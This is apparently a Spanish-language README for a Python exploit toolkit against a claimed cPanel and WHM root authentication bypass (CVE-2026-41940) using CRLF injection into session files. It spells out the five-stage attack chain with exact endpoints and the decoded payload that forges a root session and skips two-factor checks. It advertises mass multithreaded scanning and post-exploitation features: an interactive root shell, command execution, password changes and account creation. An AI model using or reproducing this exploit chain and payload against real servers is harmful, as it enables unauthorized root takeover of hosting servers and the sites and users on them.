sardine-web/automated-scanner-cve-2026-41940Escáner automatizado y toolkit de post-explotación para CVE-2026-41940 — omisión de autenticación de root en cPanel y WHM mediante inyección CRLF en el archivo de sesión.
Inglés | فارسی (Persa)
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║
██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║
╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗
╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝
██████╗██╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝
██║ ██║ ██║█████╗
██║ ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
╚═════╝ ╚═══╝ ╚══════╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
Escáner automatizado y kit de post-explotación para CVE-2026-41940 — omisión de la autenticación root de cPanel y WHM mediante inyección CRLF en el archivo de sesión.
CPANEL CVE EXPLOIT es una herramienta Python de un solo archivo diseñada para evaluaciones de seguridad autorizadas de servidores cPanel y WHM vulnerables a CVE-2026-41940.
La vulnerabilidad permite a un atacante remoto no autenticado envenenar los archivos de sesión de WHM mediante inyección CRLF en la cabecera Authorization: Basic, omitiendo la autenticación y obteniendo acceso root a WHM sin credenciales válidas.
| Propiedad | Valor |
|---|---|
| CVE | CVE-2026-41940 |
| Severidad | Crítica |
| CVSS | 10.0 |
| Vector de ataque | Red / No autenticado |
| Impacto | Acceso root completo a WHM |
| Puerto predeterminado | 2087 (WHM) |
| Estado | Explotación in-the-wild confirmada (abril de 2026) |
En versiones vulnerables de cPanel y WHM, saveSession() en Session.pm llama a filter_sessiondata() después de escribir el archivo de sesión en disco. Un atacante puede inyectar caracteres CRLF (\r\n) a través de la cabecera HTTP Authorization: Basic, que se escriben directamente en el archivo de sesión en disco, omitiendo la sanitización.
La herramienta utiliza un payload codificado en Base64 que se decodifica a:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Estos campos simulan una sesión root de WHM completamente autenticada, incluida la omisión de 2FA (tfa_verified=1) y el indicador de privilegios root (hasroot=1).
cPanel movió filter_sessiondata() para que se ejecute antes de la operación de escritura de la sesión en Session.pm.
La cadena de explotación consta de 5 etapas (etapas 0–4):
flowchart TD
A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
B --> C[Stage 2: CRLF Injection via Authorization Header]
C --> D[Stage 3: Session Propagation via do_token_denied]
D --> E[Stage 4: Verify Root Access via json-api/version]
E --> F{Vulnerable?}
F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
F -->|No| H[Skip Target]
A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]
| Etapa | Endpoint | Propósito |
|---|---|---|
| 0 | /openid_connect/cpanelid | Descubrir automáticamente el hostname canónico mediante redirección 307 |
| 1 | /login/?login_only=1 | Obtener la cookie whostmgrsession de preautenticación con credenciales incorrectas |
| 2 | / | Inyectar la cabecera Authorization: Basic envenenada con CRLF en el archivo de sesión |
| 3 | /scripts2/listaccts | Activar el gadget do_token_denied para volcar la sesión a la caché |
| 4 | /{token}/json-api/version | Confirmar el acceso root — HTTP 200 con el JSON de versión |
| Característica | Descripción |
|---|---|
| Escaneo de un solo objetivo | Cadena de explotación completa contra una URL de WHM |
| Escaneo masivo | Escaneo multihilo desde archivo o stdin |
| Detección de versión | Comparación automática de versiones parcheadas/vulnerables |
| API de post-explotación | Cambio de contraseña, ejecución de comandos, listado de cuentas, creación de usuarios |
| Shell interactivo | Shell root de WHM integrado con lectura de archivos y comandos API |
| Inicio de sesión con Selenium | Inyección automática de la cookie de sesión en Chrome/Firefox |
| Alternativa con navegador manual | Fragmentos de JavaScript para consola para el inicio de sesión manual en WHM |
| Comprobación de RCE | Verificación rápida de id / uname -a tras la omisión |
| Exportación JSON | Guarda todos los hallazgos en un informe JSON estructurado |
| Listo para pipelines | Funciona con pipelines de httpx, subfinder, shodan y awk |
| Solo stdlib | Sin dependencias pip para la funcionalidad principal |
| Salida con colores | Registro de etapas en tiempo real con indicadores de gravedad |
| Rama | Parcheado en | Estado |
|---|---|---|
| 11.110.x | 11.110.0.97 | Vulnerable por debajo del parche |
| 11.118.x | 11.118.0.63 | Vulnerable por debajo del parche |
| 11.126.x | 11.126.0.54 | Vulnerable por debajo del parche |
| 11.132.x | 11.132.0.29 | Vulnerable por debajo del parche |
| 11.134.x | 11.134.0.20 | Vulnerable por debajo del parche |
| 11.136.x | 11.136.0.5 | Vulnerable por debajo del parche |
Nota: Los objetivos que ejecutan compilaciones parcheadas se marcan automáticamente y se omiten durante el escaneo.
| Paquete | Propósito |
|---|---|
selenium | Inicio de sesión automático en el navegador (--selenium) |
| Chrome / Firefox | Motor de navegador para Selenium |
pip install -r requirements.txt # optional — selenium only
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit
No se requiere paso de compilación. Ejecútalo directamente:
python3 test-cve.py --help